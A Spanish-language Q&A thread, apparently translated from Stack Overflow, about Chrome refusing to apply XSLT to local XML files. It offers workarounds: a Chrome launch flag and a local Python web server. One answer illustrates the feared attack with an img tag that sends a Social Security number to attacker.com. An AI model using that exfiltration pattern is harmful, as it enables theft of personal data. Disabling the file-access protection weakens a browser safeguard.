Estaba investigando xslt y comencé a probar con los ejemplos en w3schools.
Sin embargo, cuando guardo el xml y xsl en archivos e intento abrirlos localmente, Chrome no realizará la transformación xsl. Solo muestra una página en blanco.
Agregué la <?xml-stylesheet type="text/xsl" href="style.xsl">
etiqueta al documento xml y Firefox la muestra como se supone que debe verse. Además, si miro los archivos a través de un servidor web, Chrome muestra el archivo como se supone que debe verse.
¿Chrome tiene problemas para encontrar la información de la hoja de estilo cuando el enlace es local? Cambiar el href a file:///C:/xsl/style.xsl
no supuso ninguna diferencia.
Actualización: esto parece ser un efecto secundario de una política de seguridad para no tratar file: /// * como el mismo origen. Esto hace que aparezca el siguiente error en la consola:
Intento inseguro de cargar el archivo URL: /// C: /xsl-rpg/style.xsl desde el marco con el archivo URL: /// C: /xsl-rpg/data.xml. Deben coincidir los dominios, protocolos y puertos.
fuente
file:
protocolo Chrome arroja el mismo error de dominio.Respuestas:
La respuesta corta es "No, utilice uno de los diversos navegadores que existen" .
La razón por la que esto no funciona es debido a un problema de seguridad que Chrome ha abordado de una manera controvertida [1] [2] [3] [4] , al impedir que los archivos XML accedan a archivos XSLT locales en el mismo directorio, mientras que HTML Los archivos pueden acceder a archivos .CSS en el mismo directorio sin problemas.
A través de los problemas citados anteriormente, los usuarios han pedido un mensaje de error más claro (ya que los dominios, protocolos y puertos coinciden), o al menos mostrar el XML sin el estilo. Los desarrolladores de Chrome han ignorado estas solicitudes.
fuente
Puede hacer esto localmente usando las banderas de línea de comando de Chrome.
La bandera específica es
--allow-file-access-from-files
En OS X: desde Terminal.app ejecutar
/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
En Windows: desde el símbolo del sistema, ejecute
%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
Nota: Probablemente tendrá que salir de Chrome si se está ejecutando actualmente.
fuente
C:\Program Files (x86)\Google\Chrome\Application
y el comando --allow-file-access-from-files se ejecuta bien, pero mi documento XML local (transformado por un archivo XSLT local) no se muestra./Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files
trabajó para mi. Obviamente, estoy ejecutando Chrome Canary. Después de ejecutar este comando, debería abrirse una nueva ventana de Chrome y permitirle realizar su transformación XSL.get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Si desea ceñirse al OP, la respuesta es No (como han señalado otros), pero una forma de solucionar el problema es ejecutar un servidor web simple y abrir archivos a través de http en Chrome. Si tiene Python 2.x instalado, puede ejecutar un servidor web escribiendo:
O en Python 3.x:
y luego abra el archivo usando
http://localhost:8000/yourfile.xml
en Chrome. Con suerte, solo desea hacer su trabajo y no es algo crucial tener que abrir el archivo usandofile://
fuente
Tomó un poco de descifrar la página de errores de Chrome: están muy interesados en no explicar cuál es el problema y por qué eligieron romper a todos en lugar de no romper a todos.
Supongamos que tengo un archivo XML, en algún lugar , en mi disco duro, por ejemplo:
Y una entidad maliciosa, de alguna manera , logró colocar un archivo XML malicioso en mi computadora, por ejemplo:
Imagine que TrojanVirusWorm.xml contiene una instrucción de procesamiento ( PI ) de hoja de estilo :
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
El atacante luego indica a mi navegador que navegue hasta el
trojanVirusWorm.xml
archivo guardado localmente .Aparentemente, hay una forma en que un archivo XML puede leer el contenido del archivo XSD (en lugar de ser transformado por el archivo XSD):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> <!--And then a miracle happens, and this XML file is able to read the contents of the stylesheet xml file--> <html> <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> </html>
No entiendo cómo un archivo XML puede leer un archivo de hoja de estilo. Pero el equipo de Chrome nos asegura que es un peligro y que no se puede solucionar.
Todos los demás navegadores lo resolvieron. Lo resolvieron porque no es un problema .
fuente
Mi solución para ver un xml de acuerdo con un archivo xsl
Supongamos que tenemos un some_file.xml con encabezados:
<?xml version="1.0" encoding="UTF-8" ?> <?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
https://some-site.com/Common.xsl
y lo colocamos junto alsome_file.xml
href="https://some-site.com/Common.xsl"
ahref="http://localhost:8001/Common.xsl"
python3 -m http.server 8001
http://localhost:8001/some_file.xml
fuente
Puede permitir que Chrome procese el archivo XSL cambiando la configuración de su navegador. Un enfoque más seguro sería acceder a él a través de un servidor web local, como Visual Studio Code Live Server o Apache. Consulte XSLT no se procesará en archivos locales para conocer los pasos.
fuente